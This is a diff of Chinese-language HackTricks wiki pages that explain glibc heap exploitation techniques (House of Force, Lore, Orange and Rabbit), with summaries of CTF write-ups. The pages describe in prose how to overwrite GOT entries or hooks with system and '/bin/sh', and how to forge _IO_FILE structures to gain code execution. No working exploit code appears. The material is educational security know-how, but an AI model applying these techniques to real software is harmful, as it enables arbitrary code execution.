* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11)
|
||||
* 该场景的目标是ret2win,需要修改将被调用的函数的地址为ret2win函数的地址
|
||||
* 该场景的目标是进行ret2win,需要修改将被调用的函数的地址为ret2win函数的地址
|
||||
* 二进制文件存在一个溢出,可以被滥用以修改顶部块的大小,修改为-1或p64(0xffffffffffffffff)
|
||||
* 然后,计算要覆盖的指针存在的位置的地址,并从当前顶部块的位置到那里的差异被分配为`malloc`
|
||||
* 最后,分配一个新的块,其中将包含被ret2win函数覆盖的所需目标
|
||||
* 然后,计算要覆盖的指针存在的位置的地址,并将当前顶部块的位置到那里的差异用`malloc`分配
|
||||
* 最后分配一个新的块,其中包含将被ret2win函数覆盖的所需目标
|
||||
* [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp)
|
||||
* 在`Input your name:`中存在一个初始漏洞,允许从堆中泄漏一个地址
|
||||
* 然后在`Org:`和`Host:`功能中,当要求**org name**时,可以填充`s`指针的64B,堆栈中跟随`v2`地址,然后跟随指定的**host name**。然后,由于strcpy将把`s`的内容复制到大小为64B的块中,因此可以用**host name**中放入的数据**覆盖顶部块的大小**。
|
||||
* 现在具有任意写入权限,`atoi`的GOT被覆盖为printf的地址。然后可以使用`%24$p`泄漏`IO_2_1_stderr`的地址。有了这个libc泄漏,就可以再次用`system`的地址覆盖`atoi`的GOT,并调用它传递参数`/bin/sh`
|
||||
* 另一种方法[在这篇其他文章中提出](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#2016-bctf-bcloud),是将`free`覆盖为`puts`,然后将`atoi@got`的地址添加到稍后将被释放的指针中,以便泄漏,然后使用此泄漏再次将`atoi@got`覆盖为`system`并调用它传递`/bin/sh`。
|
||||
* 然后在`Org:`和`Host:`功能中,当要求**org name**时,可以填充`s`指针的64B,堆栈中跟随v2地址,然后跟随指定的**host name**。然后,由于strcpy将把s的内容复制到大小为64B的块中,因此可以用**host name**中放入的数据**覆盖顶部块的大小**。
|
||||
* 现在具有任意写入权限,`atoi`的GOT被覆盖为printf的地址。然后可以使用`%24$p`泄漏`IO_2_1_stderr`的地址。有了这个libc泄漏,就可以再次用`system`的地址覆盖`atoi`的GOT,并调用它并传递`/bin/sh`作为参数
|
||||
* 另一种方法[在这篇其他文章中提出](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#2016-bctf-bcloud),是将`free`覆盖为`puts`,然后将`atoi@got`的地址添加到稍后将被释放的指针中,以便泄漏,然后使用此泄漏再次将`atoi@got`覆盖为`system`并调用它以`/bin/sh`。
|
||||
* [https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html)
|
||||
* 存在UAF允许重用未清除指针的已释放块。由于存在一些读取方法,因此可以在这里将指向GOT的指针写入到自由函数中以泄漏libc地址,然后调用读取函数。
|
||||
* 然后,使用House of force(滥用UAF)覆盖左侧空间的大小为-1,分配足够大的块以到达free hook,然后分配另一个包含free hook的块。然后,在hook中写入`system`的地址,在一个块中写入`"/bin/sh"`,最后释放具有该字符串内容的块。
|
||||
* 存在UAF允许重用未清除指针的已释放块。由于存在一些读取方法,因此可以在这里将指针写入GOT中的free函数以泄漏libc地址,然后调用读取函数。
|
||||
* 然后,使用House of force(滥用UAF)覆盖左侧空间的大小为-1,分配足够大的块以到达free hook,然后分配另一个包含free hook的块。然后,在hook中写入`system`的地址,在一个块中写入`"/bin/sh"`,最后释放包含该字符串内容的块。
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# House of Lore | Small bin Attack
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
### 代码
|
||||
|
||||
* 查看来自[https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)的代码
|
||||
* 查看来自 [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/) 的代码
|
||||
* 这个不起作用
|
||||
* 或者:[https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c)
|
||||
* 即使尝试绕过一些检查也不起作用,会出现错误:`malloc(): unaligned tcache chunk detected`
|
||||
|
@ -26,29 +27,29 @@
|
|||
|
||||
### 目标
|
||||
|
||||
* 在小型bin中插入一个**伪造的小块,以便可以分配它**。\
|
||||
* 在小型 bin 中插入一个**伪造的小块,以便可以分配它**。\
|
||||
请注意,添加的小块是攻击者创建的伪造块,而不是任意位置的伪造块。
|
||||
|
||||
### 要求
|
||||
|
||||
* 创建2个伪造块并将它们链接在一起,并与小型bin中的合法块链接:
|
||||
* 创建 2 个伪造块并将它们链接在一起,并与小型 bin 中的合法块链接:
|
||||
* `fake0.bk` -> `fake1`
|
||||
* `fake1.fd` -> `fake0`
|
||||
* `fake0.fd` -> `legit`(您需要通过其他漏洞修改释放的小型bin块中的指针)
|
||||
* `fake0.fd` -> `legit`(您需要通过其他漏洞修改释放的小型 bin 块中的指针)
|
||||
* `legit.bk` -> `fake0`
|
||||
|
||||
然后您将能够分配`fake0`。
|
||||
然后您将能够分配 `fake0`。
|
||||
|
||||
### 攻击
|
||||
|
||||
* 分配一个小块(`legit`),然后分配另一个块以防止与顶部块合并。然后,释放`legit`(将其移动到未排序的bin列表),然后分配一个较大的块,**将`legit`移动到小型bin中**。
|
||||
* 攻击者生成了几个伪造的小块,并进行必要的链接以绕过完整性检查:
|
||||
* 分配一个小块(`legit`),然后分配另一个块以防止与顶部块合并。然后,释放 `legit`(将其移动到未排序的 bin 列表中),然后分配一个较大的块,**将 `legit` 移动到小型 bin 中。**
|
||||
* 攻击者生成一对伪造的小块,并进行必要的链接以绕过完整性检查:
|
||||
* `fake0.bk` -> `fake1`
|
||||
* `fake1.fd` -> `fake0`
|
||||
* `fake0.fd` -> `legit`(您需要通过其他漏洞修改释放的小型bin块中的指针)
|
||||
* `fake0.fd` -> `legit`(您需要通过其他漏洞修改释放的小型 bin 块中的指针)
|
||||
* `legit.bk` -> `fake0`
|
||||
* 分配一个小块以获取合法块,将**`fake0`**置于小型bin的顶部列表中
|
||||
* 再分配一个小块,获取`fake0`作为一个块,从而有可能读取/写入其中的指针。
|
||||
* 分配一个小块以获取合法块,将 **`fake0`** 移入小型 bin 的顶部列表
|
||||
* 再分配一个小块,获取 `fake0` 作为一个块,从而有可能读取/写入其中的指针。
|
||||
|
||||
## 参考资料
|
||||
|
||||
|
@ -56,16 +57,17 @@
|
|||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore)
|
||||
* [https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,98 +1,100 @@
|
|||
# House of Orange
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
### 代码
|
||||
|
||||
* 在[https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c)中找到一个示例
|
||||
* 此[补丁](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0)修复了利用技术,因此不再有效(在2.26之前有效)
|
||||
* 此[补丁](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0)中修复了利用技术,因此不再有效(适用于2.26之前的版本)
|
||||
* 同样的示例**带有更多注释**在[https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)
|
||||
|
||||
### 目标
|
||||
|
||||
* 滥用`malloc_printerr`函数
|
||||
* 滥用 `malloc_printerr` 函数
|
||||
|
||||
### 要求
|
||||
|
||||
* 覆盖顶部块大小
|
||||
* Libc和堆泄漏
|
||||
* Libc 和堆泄漏
|
||||
|
||||
### 背景
|
||||
|
||||
从[**此示例**](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)的评论中需要一些背景知识**:**
|
||||
从[**此示例**](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)**的评论中**获取了一些必要的背景信息:
|
||||
|
||||
问题在于,在旧版本的libc中,当调用`malloc_printerr`函数时,它会**遍历存储在`_IO_list_all`中的`_IO_FILE`结构的列表**,并实际上在该结构中执行指令指针。\
|
||||
这种攻击将伪造一个我们将写入**`_IO_list_all`**的假`_IO_FILE`结构,并导致`malloc_printerr`运行。\
|
||||
然后它将**执行我们在`_IO_FILE`结构的跳转表中存储的任何地址**,我们将获得代码执行
|
||||
问题在于,在旧版本的 libc 中,当调用 `malloc_printerr` 函数时,它会**遍历存储在 `_IO_list_all` 中的 `_IO_FILE` 结构的列表**,并实际上在该结构中执行指令指针。\
|
||||
这种攻击将伪造一个我们将写入**`_IO_list_all`** 的假 `_IO_FILE` 结构,并导致 `malloc_printerr` 运行。\
|
||||
然后它将**执行我们在`_IO_FILE`** 结构的跳转表中存储的任何地址,我们将获得代码执行
|
||||
|
||||
### 攻击
|
||||
|
||||
攻击始于设法将**顶部块**置于**未排序的块**内。这是通过使用大于当前顶部块大小但小于**`mmp_.mmap_threshold`**(默认为128K)的大小调用`malloc`来实现的,否则将触发`mmap`分配。每当修改顶部块大小时,重要的是确保**顶部块+其大小**是页面对齐的,并且顶部块的**prev\_inuse**位始终设置。
|
||||
攻击始于设法将**顶部块**置于**未排序的 bin** 中。这是通过使用大于当前顶部块大小但小于**`mmp_.mmap_threshold`**(默认为 128K)的大小调用 `malloc` 来实现的,否则会触发 `mmap` 分配。每当修改顶部块大小时,重要的是确保**顶部块 + 其大小**是页面对齐的,并且顶部块的**prev\_inuse** 位始终设置。
|
||||
|
||||
要将顶部块放入未排序的块中,需要分配一个块以创建顶部块,更改顶部块大小(使用分配块中的溢出)以使**顶部块+大小**与页面对齐,并设置**prev\_inuse**位。然后分配一个大于新顶部块大小的块。请注意,永远不会调用`free`以将顶部块放入未排序的块中。
|
||||
要将顶部块置于未排序的 bin 中,首先分配一个块以创建顶部块,然后更改顶部块大小(使用分配块中的溢出),使得**顶部块 + 大小**与**prev\_inuse** 位设置为页面对齐。然后分配一个大于新顶部块大小的块。请注意,永远不会调用 `free` 来将顶部块放入未排序的 bin 中。
|
||||
|
||||
现在旧的顶部块位于未排序的块中。假设我们可以从中读取数据(可能是由于导致溢出的漏洞),则可以从中泄漏libc地址并获取**\_IO\_list\_all**的地址。
|
||||
旧的顶部块现在位于未排序的 bin 中。假设我们可以从中读取数据(可能是由于导致溢出的漏洞),则可以从中泄漏 libc 地址并获取**\_IO\_list\_all** 的地址。
|
||||
|
||||
通过滥用溢出将`topChunk->bk->fwd = _IO_list_all - 0x10`写入,执行未排序的块攻击。当分配新块时,旧的顶部块将被拆分,并将指针写入**`_IO_list_all`**。
|
||||
通过滥用溢出将 `topChunk->bk->fwd = _IO_list_all - 0x10` 写入,执行未排序的 bin 攻击。当分配新块时,旧的顶部块将被拆分,并且指针将被写入**`_IO_list_all`**。
|
||||
|
||||
下一步涉及将旧顶部块的大小缩小以适应小块,特别是将其大小设置为**0x61**。这有两个目的:
|
||||
下一步涉及将旧的顶部块的大小缩小以适应小 bin,具体设置其大小为**0x61**。这有两个目的:
|
||||
|
||||
1. **插入到Small Bin 4**:当`malloc`扫描未排序的块并看到此块时,由于其较小的大小,它将尝试将其插入到小块4中。这使得该块最终位于小块4列表的头部,这是我们通过未排序的块攻击在**`_IO_list_all`**的块的FD指针位置,因为我们在**`_IO_list_all`**中写入了一个接近地址。
|
||||
2. **触发Malloc检查**:此块大小操作将导致`malloc`执行内部检查。当检查虚假前向块的大小时,该大小将为零,触发错误并调用`malloc_printerr`。
|
||||
1. **插入到 Small Bin 4**:当 `malloc` 扫描未排序的 bin 并看到此块时,由于其较小的大小,它将尝试将其插入到小 bin 4 中。这使得该块最终位于小 bin 4 列表的头部,该位置是我们通过未排序的 bin 攻击在**`_IO_list_all`** 的块的 FD 指针的位置,因为我们通过未排序的 bin 攻击在**`_IO_list_all`** 中写入了一个接近的地址。
|
||||
2. **触发 Malloc 检查**:此块大小调整将导致 `malloc` 执行内部检查。当它检查虚假前向块的大小时,该大小将为零,触发错误并调用 `malloc_printerr`。
|
||||
|
||||
对小块的操作将允许您控制块的前向指针。与**\_IO\_list\_all**的重叠用于伪造一个假的**\_IO\_FILE**结构。该结构经过精心设计,包括将`_IO_write_base`和`_IO_write_ptr`等关键字段设置为在libc中通过内部检查的值。此外,在假结构内创建了一个跳转表,其中将指令指针设置为可以执行任意代码(例如`system`函数)的地址。
|
||||
对小 bin 的操作将允许您控制块的前向指针。与**\_IO\_list\_all** 的重叠用于伪造一个假的**\_IO\_FILE** 结构。该结构经过精心设计,包括将 `_IO_write_base` 和 `_IO_write_ptr` 设置为在 libc 中通过内部检查的值。此外,在假结构内创建了一个跳转表,其中将指令指针设置为可以执行任意代码(例如 `system` 函数)的地址。
|
||||
|
||||
总结技术的其余部分:
|
||||
总结该技术的其余部分:
|
||||
|
||||
* **缩小旧顶部块**:调整旧顶部块的大小为**0x61**以适应小块。
|
||||
* **设置假`_IO_FILE`结构**:将旧顶部块与假的**\_IO\_FILE**结构重叠,并适当设置字段以劫持执行流。
|
||||
* **缩小旧的顶部块**:将旧的顶部块的大小调整为**0x61**,以适应小 bin。
|
||||
* **设置假的 `_IO_FILE` 结构**:将旧的顶部块与当前位于未排序的 bin 中的假**\_IO\_FILE** 结构重叠,并适当设置字段以劫持执行流。
|
||||
|
||||
下一步涉及伪造一个与当前位于未排序块中的旧顶部块重叠的假**\_IO\_FILE**结构。该结构的前几个字节经过精心设计,包括指向将执行的命令(例如“/bin/sh”)的指针。
|
||||
下一步涉及伪造一个与当前位于未排序的 bin 中的旧顶部块重叠的假**\_IO\_FILE** 结构。该结构的前几个字节经过精心设计,包括指向将执行的命令(例如 "/bin/sh")的指针。
|
||||
|
||||
在假**\_IO\_FILE**结构中的关键字段,如`_IO_write_base`和`_IO_write_ptr`,设置为在libc中通过内部检查的值。此外,在假结构内创建了一个跳转表,其中将指令指针设置为可以执行任意代码的地址。通常,这将是`system`函数的地址或其他可以执行shell命令的函数的地址。
|
||||
在假**\_IO\_FILE** 结构中的关键字段,如 `_IO_write_base` 和 `_IO_write_ptr`,设置为通过 libc 中的内部检查的值。此外,在假结构内创建了一个跳转表,其中将指令指针设置为可以执行任意代码的地址。通常,这将是 `system` 函数的地址或其他可以执行 shell 命令的函数的地址。
|
||||
|
||||
当调用`malloc`触发通过操纵**\_IO\_FILE**结构执行代码时,攻击达到高潮。这有效地允许执行任意代码,通常导致生成shell或执行其他恶意载荷。
|
||||
当调用 `malloc` 时,通过操纵**\_IO\_FILE** 结构触发代码执行,攻击达到高潮。这有效地允许执行任意代码,通常导致生成 shell 或执行其他恶意载荷。
|
||||
|
||||
**攻击摘要:**
|
||||
|
||||
1. **设置顶部块**:分配一个块并修改顶部块大小。
|
||||
2. **强制顶部块进入未排序的块**:分配一个更大的块。
|
||||
3. **泄漏libc地址**:使用漏洞从未排序的块中读取数据。
|
||||
4. **执行未排序的块攻击**:使用溢出写入**\_IO\_list\_all**。
|
||||
5. **缩小旧顶部块**:调整其大小以适应小块。
|
||||
6. **设置一个假的`_IO_FILE`结构**:伪造一个假文件结构以劫持控制流。
|
||||
2. **强制顶部块进入未排序的 bin**:分配一个更大的块。
|
||||
3. **泄漏 libc 地址**:使用漏洞从未排序的 bin 中读取数据。
|
||||
4. **执行未排序的 bin 攻击**:使用溢出写入**\_IO\_list\_all**。
|
||||
5. **缩小旧的顶部块**:调整其大小以适应小 bin。
|
||||
6. **设置一个假的 \_IO\_FILE 结构**:伪造一个假文件结构以劫持控制流。
|
||||
7. **触发代码执行**:分配一个块以执行攻击并运行任意代码。
|
||||
|
||||
这种方法利用堆管理机制、libc信息泄漏和堆溢出来实现代码执行,而无需直接调用`free`。通过精心设计假的**\_IO\_FILE**结构并将其放置在正确位置,攻击可以在标准内存分配操作期间劫持控制流。这使得执行任意代码成为可能,通常导致生成shell或其他恶意活动。
|
||||
## 参考资料
|
||||
该方法利用堆管理机制、libc 信息泄漏和堆溢出来实现代码执行,而无需直接调用 `free`。通过精心设计假的**\_IO\_FILE** 结构并将其放置在正确位置,攻击可以在标准内存分配操作期间劫持控制流。这使得执行任意代码成为可能,可能导致生成 shell 或其他恶意活动。
|
||||
## 参考
|
||||
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/)
|
||||
* [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,24 @@
|
|||
# 兔子之屋
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### 需求
|
||||
|
||||
1. **能够修改快速分配(fast bin)的fd指针或大小**:这意味着您可以更改快速分配中块的前向指针或大小。
|
||||
2. **能够触发`malloc_consolidate`**:这可以通过分配大块或合并顶部块来实现,从而强制堆合并块。
|
||||
1. **能够修改快速分配区块的 fd 指针或大小**:这意味着您可以更改快速分配区块中的一个块的前向指针或其大小。
|
||||
2. **能够触发 `malloc_consolidate`**:这可以通过分配一个大块或合并顶部块来实现,从而强制堆合并块。
|
||||
|
||||
### 目标
|
||||
|
